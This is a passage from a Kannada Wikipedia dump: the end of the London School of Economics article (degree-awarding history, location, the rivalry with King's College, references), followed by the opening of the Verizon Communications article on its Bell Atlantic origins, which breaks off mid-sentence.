2006.jpg|thumb|ಲಿಂಕೋಲನ್ಸ್ ಇನ್ ಫೀಲ್ಡ್ಸ್‌ನಲ್ಲಿ ವಿದ್ಯಾರ್ಥಿಗಳು ಪುನರಧ್ಯಯನ ಮಾಡುತ್ತಿದ್ದಾರೆ]] 1902 ರಿಂದ, ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದೊಳಗೆ ಅದರ ಸೇರ್ಪಡೆಯ ನಂತರದಿಂದ 2007 ರವರೆಗೆ, ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಇತರ ಎಲ್ಲಾ ಕಾಲೇಜುಗಳೊಂದಿಗೆ ಸಮಾನವಾಗಿ ಎಲ್ಲಾ ಪದವಿಗಳನ್ನು ಫೆಡರಲ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ ಪ್ರದಾನ ಮಾಡಲಾಗಿದೆ. ಕೆಲವು ಕಾಲೇಜುಗಳು ಅವುಗಳ ಸ್ವಂತ ಪದವಿಗಳನ್ನು ಪ್ರದಾನ ಮಾಡಲು ಸಹಾಯಕವಾಗುವಂತೆ ಈ ವ್ಯವಸ್ಥೆಯನ್ನು 2007 ರಲ್ಲಿ ಬದಲಾಯಿಸಲಾಯಿತು. ಜೂನ್ 2008 ರಿಂದ ಅದರ ಸ್ವಂತ ಪದವಿಯನ್ನು ಪ್ರದಾನ ಮಾಡಲು ಎಲ್‌ಎಸ್ಇಗೆ ಅಧಿಕಾರವನ್ನು ನೀಡಲಾಯಿತು. ಜೂನ್ 2008 ಮತ್ತು ಜೂನ್ 2010 ರೊಳಗೆ ಪದವಿಯನ್ನು ಪಡೆದ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಇಲ್ಲವೇ ಶಾಲೆಯಿಂದ ಪದವಿಯನ್ನು ಸ್ವೀಕರಿಸಬಹುದಾದ ಆಯ್ಕೆಯನ್ನು ನೀಡಲಾಗಿದೆ. 2007 ರಿಂದ ಪ್ರವೇಶಿಸುವ ಎಲ್ಲಾ ಪದವಿ ಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿಗಳು ಮತ್ತು 2009 ರಿಂದ ಪ್ರವೇಶಿಸುವ ಸ್ನಾತಕೋತ್ತರ ವಿದ್ಯಾರ್ಥಿಗಳು ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಎಲ್ಎಸ್ಇ ಪದವಿಯನ್ನು ಸ್ವೀಕರಿಸುತ್ತಾರೆ. ಎಲ್ಎಸ್ಇಯು ನ್ಯೂಯಾರ್ಕ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಸ್ಟರ್ನ್ ಶಾಲೆ ಮತ್ತು ಹೆಚ್ಇಸಿಯೊಂದಿಗೆ ಜತೆಗೂಡಿದೆ. ಪ್ಯಾರಿಸ್ ಸಹ ಅನನ್ಯವಾದ ಟಿಆರ್‌ಐಯುಎಮ್ ಎಂದು ಕರೆಯಲಾಗುವ ಕಾರ್ಯನಿರ್ವಾಹಕ ಜಾಗತಿಕ ಎಂಬಿಎಯನ್ನು ನೀಡುತ್ತದೆ. ಇದು ಪ್ರಸ್ತುತ ಜಾಗತಿಕವಾಗಿ ಎಫ್‌ಟಿಯಿಂದ 2ನೇ ಶ್ರೇಣಿ ಪಡೆದಿದೆ ಮತ್ತು ಹಿರಿಯ ನಿರ್ವಾಹಕರುಗಳಿಗೆ ಅತ್ಯುನ್ನತವಾಗಿ ಅಭಿವೃದ್ಧಿಗೊಳಿಸಿದ ನೋಟವನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಬಲವಾದ ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನಗಳು, ನಿರ್ವಹಣಾ ಕೌಶಲ್ಯ ಮತ್ತು ಆರ್ಥಿಕ ನಿಖರತೆಯನ್ನು ಒಗ್ಗೂಡಿಸಲು ಶ್ರಮಿಸುತ್ತಿದೆ. == ಸ್ಥಳ ಮತ್ತು ಸಾರಿಗೆ == [[File:OldCuriosityShop.JPG|thumb|ಎಲ್ಎಸ್ಇಯಲ್ಲಿ ಓಲ್ಡ್ ಕ್ಯೂರಿಯಾಸಿಟಿ ಶಾಪ್]] [[File:Lse george iv.jpg|thumb|right|ಎಲ್ಎಸ್ಇ ಹೊಂದಿರುವ ಪಬ್, ಜಾರ್ಜ್ IV]] ಎಲ್‌ಎಸ್ಇಯು ಲಂಡನ್ ನಗರಕ್ಕೆ ಹೊಂದಿಕೊಂಡಂತೆ ಇರುವ ಕೋವೆಂಟ್ ಗಾರ್ಡನ್, ಆಲ್ಡ್‌ವಿಚ್ ಮತ್ತು ಟೆಂಪಲ್ ಬಾರ್ ನಡುವೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನಗರದಲ್ಲಿದೆ. ಅದು ರಾಯಲ್ ಕೋರ್ಟ್ಸ್ ಆಫ್ ಜಸ್ಟೀಸ್, ಲಿಂಕೋಲನ್ಸ್ ಇನ್ ಮತ್ತು ಕಿಂಗ್ಸ್‌ವೇ ಗೆ ಮಗ್ಗುಲಲ್ಲಿ ಕ್ಲೇರ್ ಮಾರ್ಕೆಟ್ ಎನ್ನುವಲ್ಲಿ ನೆಲೆಸಿದೆ. ಶಾಲೆಯು ಮಧ್ಯ ಲಂಡನ್ ಕಂಚೆಶನ್ ಚಾರ್ಜಿಂಗ್ ವಲಯದ ಮಧ್ಯಭಾಗದಲ್ಲಿದೆ. ಹತ್ತಿರದ ಲಂಡನ್ ಭೂಗತ ನಿಲ್ದಾಣಗಳೆಂದರೆ ಹೋಲ್‌ಬೋರ್ನ್, ಟೆಂಪಲ್ ಮತ್ತು ಕೋವೆಂಟ್ ಗಾರ್ಡನ್. ಸ್ಟ್ರಾಂಡ್‌ನ ಮತ್ತೊಂದು ಭಾಗದಲ್ಲಿರುವ ಚಾರಿಂಗ್ ಕ್ರಾಸ್ ಎನ್ನುವುದು ಹತ್ತಿರದ ಮುಖ್ಯ ನಿಲ್ದಾಣವಾಗಿದ್ದರೆ, ಲಂಡನ್ ವಾಟರ್‌ಲೂ ಎನ್ನುವುದು ರಿವರ್ ಥೇಮ್ಸ್‌ಗೆ ಅಡ್ಡಲಾಗಿ ಹತ್ತು ನಿಮಿಷದ ಕಾಲ್ನಡಿಗೆಯ ದೂರದಲ್ಲಿದೆ. ಆಲ್ಡ್‌ವಿಚ್ ಮತ್ತು ಕಿಂಗ್ಸ್‌ವೇಗೆ ತೆರಳುವ ಬಸ್‌ಗಳು ಹೌಟನ್ ಸ್ಟ್ರೀಟ್ ಶಾಲೆಯ ಹೊರಭಾಗದಲ್ಲೇ ನಿಲ್ಲುತ್ತವೆ. == ಅಂತರ ಕಾಲೇಜು ಪೈಪೋಟಿ == {{Inappropriate tone|date=October 2009}} ಎಲ್‌ಎಸ್ಇಯು ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಇತರ ಕಾಲೇಜುಗಳೊಂದಿಗೆ ಮತ್ತು ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜ್ ಲಂಡನ್‌ನೊಂದಿಗೂ ಸಹ ಬಲವಾದ ಪೈಪೋಟಿಯನ್ನು ಎದುರಿಸುತ್ತಿದೆ. ಎಲ್ಎಸ್ಇ ಮತ್ತು ಯುಸಿಎಲ್‌ನ ವಿದ್ಯಾರ್ಥಿಗಳು ಕಿಂಗ್ಸ್ ಕಾಲೇಜು ಲಂಡನ್ ಅನ್ನು "ಸ್ಟ್ರಾಂಡ್ ಪಾಲಿಟೆಕ್ನಿಕ್" ಎಂದು ಉಲ್ಲೇಖಿಸುತ್ತಾರೆ. ಡಿಸೆಂಬರ್ 2005 ರಂದು ಕನಿಷ್ಠ 200 ವಿದ್ಯಾರ್ಥಿಗಳು ವಾರ್ಷಿಕ "ಬ್ಯಾರಲ್ ಓಟ" ದಿಂದ ಹೊರಗುಳಿಯುವ ಮೂಲಕ ಕಿಂಗ್ಸ್‌ನ ಇಂಗ್ಲೀಷ್ ವಿಭಾಗಕ್ಕೆ ಅಂದಾಜು £32,000 ನಷ್ಟವುಂಟು ಮಾಡುವ ಮೂಲಕ ಕಿಂಗ್ಸ್ ಕಾಲೇಜು ಮತ್ತು ಶಾಲೆಯ ನಡುವೆ ಉದ್ವಿಗ್ನತೆಯು ಹೊತ್ತಿಕೊಂಡಿತು.<ref name="rampage">{{cite news |url=http://news.bbc.co.uk/1/hi/education/4506664.stm |title=Students in university rampage |work=[[BBC News]] 7 December 2005 |accessdate=2006-11-20 | date=2005-12-07}}</ref> ಕಿಂಗ್ಸ್ ಪ್ರಾಂಶುಪಾಲರಾದ ರಿಕ್ ಟ್ರೈನರ್ ಅವರು ಪ್ರತೀಕಾರವನ್ನು ಕೈಗೊಳ್ಳದಿರಲು ಮನವಿ ಮಾಡಿದರು ಮತ್ತು ಎಲ್ಎಸ್ಇ ವಿದ್ಯಾರ್ಥಿಗಳ ಒಕ್ಕೂಟವು ಕ್ಷಮೆಯಾಚಿಸಿದ್ದಲ್ಲದೇ ಹಾನಿಯ ದುರಸ್ಥಿಯ ವೆಚ್ಚವನ್ನು ಭರಿಸಬೇಕಾಯಿತು. ಎಲ್ಎಸಿಯು ಅಧಿಕೃತವಾಗಿ ಕ್ರಮವನ್ನು ಖಂಡಿಸಿದ್ದರೂ, ''ದಿ ಬೀವರ್'' ನಲ್ಲಿ ಪ್ರಕಟವಾದುದನ್ನು ನಂತರ ಆರಿಸಿಕೊಂಡು ''ದಿ ಟೈಮ್ಸ್'' ಪ್ರಕಟಿಸಿದ ಚಿತ್ರದಲ್ಲಿ ನಿರ್ದೇಶಕರಾದ ಸರ್ ಹೌವಾರ್ಡ್ ಡೇವಿಸ್ ಅವರು ಬ್ಯಾರಲ್ ಓಟ ಮತ್ತು "ಅತಿರೇಕದ ವರ್ತನೆ" ಯು ಪ್ರಾರಂಭವಾದ ಕೆಲವೇ ಕ್ಷಣಗಳಲ್ಲಿ ವಿದ್ಯಾರ್ಥಿಗಳ ಒಕ್ಕೂಟದ ಸದಸ್ಯರೊಡನೆ ಮದ್ಯಪಾನ ಮಾಡುತ್ತಿರುವುದು ಕಂಡುಬಂದಿತು. ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಹತಾಶೆಯಾಗುವಂತೆ ದೊಂಬಿಯ ನಂತರ ಐದು ವರ್ಷದವರೆಗೆ ಓಟವನ್ನು ನಿಷೇಧಿಸಲಾಯಿತು. == ಟಿಪ್ಪಣಿಗಳು == # "ಎಲ್‌ಎಸ್ಇ: ಎ ಹಿಸ್ಟರಿ ಆಫ್ ದಿ ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ ಎಂಡ್ ಪೊಲಿಟಿಕಲ್ ಸೈನ್ಸ್, 1895-1995", ''ಆಕ್ಸ್‌ಫರ್ಡ್ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್'' , ಜೂನ್ 1, 1995. # "ಡಿಟರ್ಮೈನ್ಡ್ ಚಾಲೆಂಡರ್ಸ್ ಕೀಪ್ ಹೀಟ್ ಆನ್ ದಿ ಎಲೈಟ್", ''ದಿ ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್ ಸಪ್ಲಿಮೆಂಟ್'' , ಅಕ್ಟೋಬರ್ 28, 2005 # "[http://www.mla.gov.uk/news/press_article.asp?articleid=867 ಔಟ್‌ಸ್ಟಾಂಡಿಂಗ್ ಲೈಬ್ರರಿ ಎಂಡ್ ಆರ್ಕೈವ್ ಕಲೆಕ್ಷನ್ಸ್ ರಿಸೀವ್ ನ್ಯಾಷನಲ್ ರೆಕೋಗ್ನಿಷನ್] {{Webarchive|url=https://web.archive.org/web/20051215074722/http://www.mla.gov.uk/news/press_article.asp?articleid=867 |date=2005-12-15 }}", ''ಎಂಎಲ್ಎ ನ್ಯೂಸ್'' , ಅಕ್ಟೋಬರ್ 28, 2005 # "[http://news.bbc.co.uk/onthisday/hi/dates/stories/january/24/newsid_2506000/2506485.stm 1969: ಎಲ್ಎಸಿಇ ಕ್ಲೋಸಸ್ ಓವರ್ ಸ್ಟುಡೆಂಟ್ಸ್ ಕ್ಲಾಶಸ್]", ''ಬಿಬಿಸಿ ನ್ಯೂಸ್'' # "[http://www.economics.utoronto.ca/ranking.html ಜಿಇಇಎ ಪಬ್ಲಿಷ್ಡ್ ರಾಂಕಿಂಗ್]", "ಮೂಲ: ಪ್ಯಾಂಟೆಲೀಸ್ ಕಾಲೈಜಿಡಾಕಿಸ್‌ನ ಕೋಷ್ಟಕ 3, ಥಿಯೋಫ್ಯಾನಿಸ್ ಪಿ. ಮ್ಯಾಮುನೀಸ್, ಮತ್ತು ಥನಸೀಸ್ ಸ್ಟೆಂಗೋಸ್ (2003)" # "[http://homepages.ulb.ac.be/%7Etcoupe/update/uniefsevoloverall.html ಟಾಪ್ 200 ಯೂನಿರ್ವಸಿಟೀಸ್: ಎವಲ್ಯೂಶನ್ ಓವರ್ ಟೈಮ್] {{Webarchive|url=https://web.archive.org/web/20110614083440/http://homepages.ulb.ac.be/%7Etcoupe/update/uniefsevoloverall.html |date=2011-06-14 }}", "ಯುಎಲ್‌ಬಿ 6/17/02" # "[http://www.econphd.net/rankings.htm ಎಕೋನ್‌ಪಿಹೆಚ್.] {{Webarchive|url=https://web.archive.org/web/20100115202328/http://www.econphd.net/rankings.htm |date=2010-01-15 }}[http://www.econphd.net/rankings.htm ಡಿ ನೆಟ್ ಡಿಸೆ 1, 2005] {{Webarchive|url=https://web.archive.org/web/20100115202328/http://www.econphd.net/rankings.htm |date=2010-01-15 }}", "ಎಕೋನ್‌ಪಿಹೆಚ್. ಡಿ ನೆಟ್" # "[http://cowles.econ.yale.edu/areas/ecm/gsrank.htm ಕೌಲೆಸ್, ಯೇಲ್]", "ಫ್ರಾನ್ಸಿಸ್ಕೋ ಕ್ರಿಬಾರಿ-ನೆಟೋ, ಮಾರ್ಕ್ ಜೆ. ಜೆನ್ಸೆನ್ ಮತ್ತು ಅಲ್ವರೋ ಎ. ನೋವೋ, "ರಿಸರ್ಚ್ ಇನ್ ಎಕೋನೋಮೆಟ್ರಿಕ್ ಥಿಯರಿ: ಕ್ವಾಂಟಿಟೇಟಿವ್ ಎಂಡ್ ಕ್ವಾಲಿಟೇಟಿವ್ ಪ್ರೊಡಕ್ಟಿವಿಟಿ ರಾಂಕಿಂಗ್ಸ್," ಎಕೊನೋಮೆಟ್ರಿಕ್ ಥಿಯರಿ, 1999" # "[http://www.hero.ac.uk/rae/rae96/1_96/t38.html ಹೀರೋ 1996] {{Webarchive|url=https://web.archive.org/web/20100623062626/http://www.hero.ac.uk/rae/rae96/1_96/t38.html |date=2010-06-23 }}", "ಯುಕೆ ಅಸೆಸ್‌ಮೆಂಟ್ ರಿಸರ್ಚ್ ಎಕ್ಸರ್‌ಸೈಸ್ 1996" # "[http://www.hero.ac.uk/rae/rae_dynamic.cfm?myURL=http://195.194.167.103/Results/byuoa/uoa38.htm HERO 2001] {{Webarchive|url=https://web.archive.org/web/20100623063930/http://www.hero.ac.uk/rae/rae_dynamic.cfm?myURL=http%3A%2F%2F195.194.167.103%2FResults%2Fbyuoa%2Fuoa38.htm |date=2010-06-23 }}", "UK Research Assessment Exercise 2001" # "[http://ideas.repec.org/top/top.uk.html ಐಡಿಯಾಸ್ ರಿಸರ್ಚ್ ಅಸೆಸ್‌ಮೆಂಟ್ ಯುಕೆ ಟಾಪ್ 20% ಆಫ್ ಡಿಪಾರ್ಟ್‌ಮೆಂಟ್ಸ್ &amp; ವರ್ಲ್ಡ್ ಟಾಪ್ 5% ಆಫ್ ಡಿಪಾರ್ಟ್‌ಮೆಂಟ್ಸ್]", "ಐಡಿಯಾಸ್, ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಕನೆಕ್ಟಿಕಟ್, ಟಾಪ್ 20% ಯುಕೆ ಇನ್‌ಸ್ಟಿಟ್ಯೂಶನ್ಸ್" == ಉಲ್ಲೇಖಗಳು == {{Reflist|2}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commonscat|London School of Economics}} * [http://www2.lse.ac.uk/ ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ ಎಂಡ್ ಪೊಲಿಟಿಕಲ್ ಸೈನ್ಸ್] – ವೆಬ್‌ಸೈಟ್ * [http://www.lsesu.com/ ಎಲ್ಎಸ್ಇ ವಿದ್ಯಾರ್ಥಿಗಳ ಒಕ್ಕೂಟ] * [http://www.shl.lon.ac.uk/specialcollections/archives/studentrecords.shtml ಎಲ್ಎಸ್ಇ ವಿದ್ಯಾರ್ಥಿ ಪಟ್ಟಿಗಳು] {{London School of Economics}} {{University of London}} {{Russell Group}} {{APSIA}} {{Cems School}} {{Universities in the United Kingdom}} {{DEFAULTSORT:London School Of Economics}} [[ವರ್ಗ:ಲಂಡನ್‌ನಲ್ಲಿ ಶಿಕ್ಷಣ]] [[ವರ್ಗ:ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ನಲ್ಲಿ ಶಿಕ್ಷಣ]] [[ವರ್ಗ:ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್]] [[ವರ್ಗ:ರಸ್ಸೆಲ್ ಗ್ರೂಪ್‌]] [[ವರ್ಗ:1895 ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳು.]] [[ವರ್ಗ:ಅರ್ಥಶಾಸ್ತ್ರದ ಶಾಲೆಗಳು]] [[ವರ್ಗ:ಕಾಮನ್‌ವೆಲ್ತ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳ ಅಸೋಸಿಯೇಶನ್]] [[ವರ್ಗ:ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳು]] [[ವರ್ಗ:ಲಂಡನ್]] 1tw0fbtuw3q2845l7n5zswzkni766fw ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ 0 25871 1116478 1080609 2022-08-23T13:31:50Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Dablink|"Verizon" redirects here. For its subsidiaries, see [[Verizon Business]] and [[Verizon Wireless]]. For other uses, see [[Verizon (disambiguation)]].}} {{Infobox company | name = Verizon Communications Inc. | logo = [[Image:Verizon 2015 logo -vector.svg|200px|Verizon logo]] | type = [[Public company|Public]] ({{NYSE|VZ}}, {{NASDAQ|VZ}})<br />[[Dow Jones Industrial Average|Dow Jones Industrial Average Component]] | slogan = We Never Stop Working For You. <br /> America's Most Reliable (Wireless) Network. <br /> '''It's the Network.''' | foundation = 1983 as Bell Atlantic<br>2000 as Verizon Communications, merger of Bell Atlantic and [[GTE]] | location = '''[[Verizon Building]]'''<br>[[Lower Manhattan]], [[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ]] | key_people = [[Ivan Seidenberg]], Chairman/CEO | num_employees = 222,900 ({{As of|2009|lc=on}}) | industry = [[Telecommunication]]s | services = [[Wireless]]<br />[[Telephone]]<br />[[Internet]]<br />[[Television]] | revenue = {{profit}} $107.808 billion (''2009'')<ref>{{cite web|url=http://investor.verizon.com/sec/sec_frame.aspx?FilingID=7081932|title=Verizon 2009 10-K Annual Report|accessdate=2010-06-02|year=2009|work=Form 10-K|publisher=Verizon Communications, Inc.}}</ref> | assets = {{profit}} $227.251 billion (''2009'') | equity = {{profit}} $41.606 billion (''2009'') | net_income = {{profit}} $6.707 billion (''2009'') |homepage = [http://www.verizon.com/ Verizon.com] }} [[File:Verizonbldg-nov2005.jpg|thumb|right|250px|ವೆರಿಝೋನ್ ಕೇಂದ್ರಕಚೇರಿ ವೆರಿಝೋನ್ ಬಿಲ್ಡಿಂಗ್್ನ ದಕ್ಷಿಣ ಮುಖ, 2005ರಲ್ಲಿ]] [[File:Verizon-close.jpg|thumb|ವರ್ಲ್ಡ್ ಟ್ರೇಡ್ ಸೆಂಟರ್ ಮೇಲೆ ನಡೆದ ದಾಳಿಯಲ್ಲಿ ವಿಮಾನದ ಅವಶೇಷಗಳು ಬಿದ್ದು ವೆರಿಝೋನ್ ಬಿಲ್ಡಿಂಗಿಗೆ ಆಗಿರುವ ಹಾನಿಯ ಹತ್ತಿರದ ನೋಟ]] '''ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಐಎನ್್ಸಿ''' ({{nyse|VZ}}, {{NASDAQ|VZ}}) ಅಮೆರಿಕದ ಒಂದು ಬ್ರಾಡ್್ಬ್ಯಾಂಡ್ ಮತ್ತು ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಕಂಪನಿ. ಮತ್ತು ಡವ್ ಜೋನ್ಸ್ ಇಂಡಸ್ಟ್ರಿಯಲ್ ಅವೆರೇಜ್್ನ ಒಂದು ಘಟಕ. ಇದನ್ನು 1983ರಲ್ಲಿ '''ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್''' ಎಂದು ಸ್ಥಾಪಿಸಲಾಯಿತು. 1984ರಲ್ಲಿ ಎಟಿ ಮತ್ತು ಟಿ ವಿಭಜನೆಗೊಂಡು ಏಳು ''ಬೇಬಿ ಬೆಲ್'' ್ಗಳಾದವು. ವೆರಿಝೋನ್್ ಆಗಿ ಬದಲಾಗುವುದಕ್ಕೆ ಮೊದಲು ಬೆಲ್್ ಆಟ್ಲಾಂಟಿಕ್ ಇನ್ನೊಂದು ಪ್ರಾದೇಶಿಕ ಬೆಲ್ ನಿರ್ವಹಣೆ ಕಂಪನಿ NYNEX ಜೊತೆ 1997ರಲ್ಲಿ ವಿಲೀನಗೊಂಡಿತ್ತು, ಇದರ ಹೆಸರು ''ವೆರಿಟಾಸ್'' ಮತ್ತು ''ಹೊರಿಝೋನ್'' ಎರಡರ ಸಂಕರ ಪದ<ref>{{cite web |url=http://investor.verizon.com/profile/history/index.aspx |title=Verizon - Investor Relations - Company Profile - Corporate History |accessdate=2008-09-20}}</ref>. ಮತ್ತು ಇದರ ಉಚ್ಚಾರಣೆಯು ''ಹೊರಿಝೋನ್'' ನಾದವನ್ನು ಹೊರಡಿಸುತ್ತದೆ. ಕಂಪನಿಯ ಕೇಂದ್ರ ಕಚೇರಿಯು [[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ|ನ್ಯೂ ಯಾರ್ಕ್ ಸಿಟಿ]]ಯ ಲೋವರ್ ಮ್ಯಾನ್್ಹಟ್ಟನ್್ನ ವೆರಿಝೋನ್್ ಕಟ್ಟಡದಲ್ಲಿದೆ.<ref>"[http://www22.verizon.com/customerSupport/contactus/contacts/ ಗ್ರಾಹಕರಿಗೆ ನೆರವಾಗುವ ಸಂಪರ್ಕಗಳು] {{Webarchive|url=https://web.archive.org/web/20130724091411/http://www22.verizon.com/customerSupport/contactus/contacts/ |date=2013-07-24 }}." ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್. ಫೆಬ್ರವರಿ 18, 2009ರಲ್ಲಿ ಮರು ಸಂಪಾದನೆ.</ref> ==ಇತಿಹಾಸ== ವೆರಿಝೋನ್ ಕಂಪನಿಯನ್ನು ಸ್ಥಾಪಿಸಿದ್ದು ಎಟಿ ಮತ್ತು ಟಿ ಕಾರ್ಪೋರೇಶನ್. ಇದನ್ನು '''ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಕಾರ್ಪೋರೇಶನ್''' ಎಂದು ಕರೆಯಲಾಯಿತು, ಇದು ಏಳು ಬೇಬಿ ಬೆಲ್್ಗಳಲ್ಲಿ ಒಂದು. ಎಟಿ ಮತ್ತು ಟಿ ಕಾರ್ಪೋರೇಶನ್ ವಿರುದ್ಧ ಬಂದ ಅವಿಶ್ವಾಸ ತೀರ್ಪಿನ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಈ ಹೊಸ ಕಂಪನಿಗಳು ಹುಟ್ಟಿಕೊಂಡವು. ತನ್ನ ವಿಭಜನೆ ಬಳಿಕ ಅಮೆರಿಕನ್ ಟೆಲಿಫೋನ್ ಆ್ಯಂಡ್ ಟೆಲಿಗ್ರಾಫ್ ಕಂಪನಿ(ನಂತರ ಇದು ಎಟಿ ಮತ್ತು ಟಿ ಕಾರ್ಪೋ. ಎಂದು ಪ್ರಸಿದ್ಧ)ಯಿಂದ ಏಳು ಬೆಲ್ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಗಳನ್ನು ಇದು ಹುಟ್ಟುಹಾಕಿತು. ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್್ನ ಮೂಲ ಸರದಿ ಪಟ್ಟಿಯಲ್ಲಿರುವ ಕಾರ್ಯನಿರ್ವಹಣೆಯ ಕಂಪನಿಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: *ದಿ ಬೆಲ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ ಆಫ್ ಪೆನ್ಸಿಲ್ವೇನಿಯಾ *ನ್ಯೂಜೆರ್ಸಿ ಬೆಲ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ *ದಿ ಡೈಮಂಡ್ ಸ್ಟೇಟ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ *ದಿ ಚೆಸಾಪೀಕೆ ಆ್ಯಂಡ್ ಪೊಟೋಮ್ಯಾಕ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ * ದಿ ಚೆಸಾಪೀಕೆ ಆ್ಯಂಡ್ ಪೋಟೋಮ್ಯಾಕ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ ಆಫ್ ಮೇರಿಲ್ಯಾಂಡ್ * ದಿ ಚೆಸಾಪೀಕೆ ಆ್ಯಂಡ್ ಪೊಟೋಮ್ಯಾಕ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ ಆಫ್ ವರ್ಜಿನಿಯಾ * ದಿ ಚೆಸಾಪೀಕೆ ಆ್ಯಂಡ್ ಪೊಟೋಮ್ಯಾಕ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿ ಆಫ್ ವೆಸ್ಟ್ ವರ್ಜಿನಿಯಾ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಮೂಲತಃ ಅಮೆರಿಕದ ರಾಜ್ಯಗಳಾದ ನ್ಯೂ ಜೆರ್ಸಿ, ಪೆನ್ಸಿಲ್ವೇನಿಯಾ, ಡೆಲಾವೇರ್, [[ಮೇರಿಲ್ಯಾಂಡ್]], ವೆಸ್ಟ್ ವರ್ಜಿನಿಯಾ ಮತ್ತು [[ವರ್ಜೀನಿಯ|ವರ್ಜಿನಿಯಾ]] ಹಾಗೂ [[ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.|ವಾಷಿಂಗ್ಟನ್ ಡಿ.ಸಿ]].ಯಿಂದ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿತ್ತು. 1994ರಲ್ಲಿ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ತನ್ನ ಮೂಲ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಗಳ ಮೂಲ ಹೆಸರುಗಳನ್ನು ಇಡಿಯಾಗಿ ಕೈಬಿಟ್ಟು ಪ್ರಥಮ ಪ್ರಾದೇಶಿಕ ಬೆಲ್ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಯಾಯಿತು. ಅಮೆರಿಟೆಕ್ ಮತ್ತು NYNEX (ಮತ್ತು 2002ರಲ್ಲಿ ಎಸ್್ಬಿಸಿ ಕಮ್ಯೂನಿಕೇಶನ್ಸ್) ತಮ್ಮ ಕಾರ್ಯನಿರ್ವಹಣೆ ಕಂಪನಿಗಳಿಗೆ ಡಿ/ಬಿ/ಎ ಹೆಸರುಗಳನ್ನು ಸರಳವಾಗಿ ಸೇರಿಸಿಕೊಂಡವು. ಯು.ಎಸ್. ವೆಸ್ಟ್ ಮತ್ತು ಬೆಲ್್ಸೌಥ್ ತಮ್ಮ ಕಾರ್ಯನಿರ್ವಹಣೆ ಕಂಪನಿಗಳನ್ನು ವಿಲೀನಗೊಳಿಸಿದವು. ಕಾರ್ಯನಿರ್ವಹಣೆ ಕಂಪನಿಗಳ ಶೀರ್ಷಿಕೆಗಳನ್ನು ಈ ರೀತಿ ಸರಳಗೊಳಿಸಲಾಯಿತು: *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ಡೆಲಾವೇರ್, ಐಎನ್್ಸಿ. *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ಮೇರಿಲ್ಯಾಂಡ್, ಐಎನ್್ಸಿ. *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ನ್ಯೂ ಜೆರ್ಸಿ, ಐಎನ್್ಸಿ. *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ಪೆನ್ಸಿಲ್ವೇನಿಯಾ, ಐಎನ್್ಸಿ. *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ವರ್ಜಿನಿಯಾ, ಐಎನ್್ಸಿ. *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ವಾಷಿಂಗ್ಟನ್ ಡಿ.ಸಿ., ಐಎನ್್ಸಿ. *ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ವೆಸ್ಟ್ ವರ್ಜಿನಿಯಾ, ಐಎನ್್ಸಿ. 1996ರಲ್ಲಿ, ಸಿಇಓ ಮತ್ತು ಚೇರ್ಮನ್ 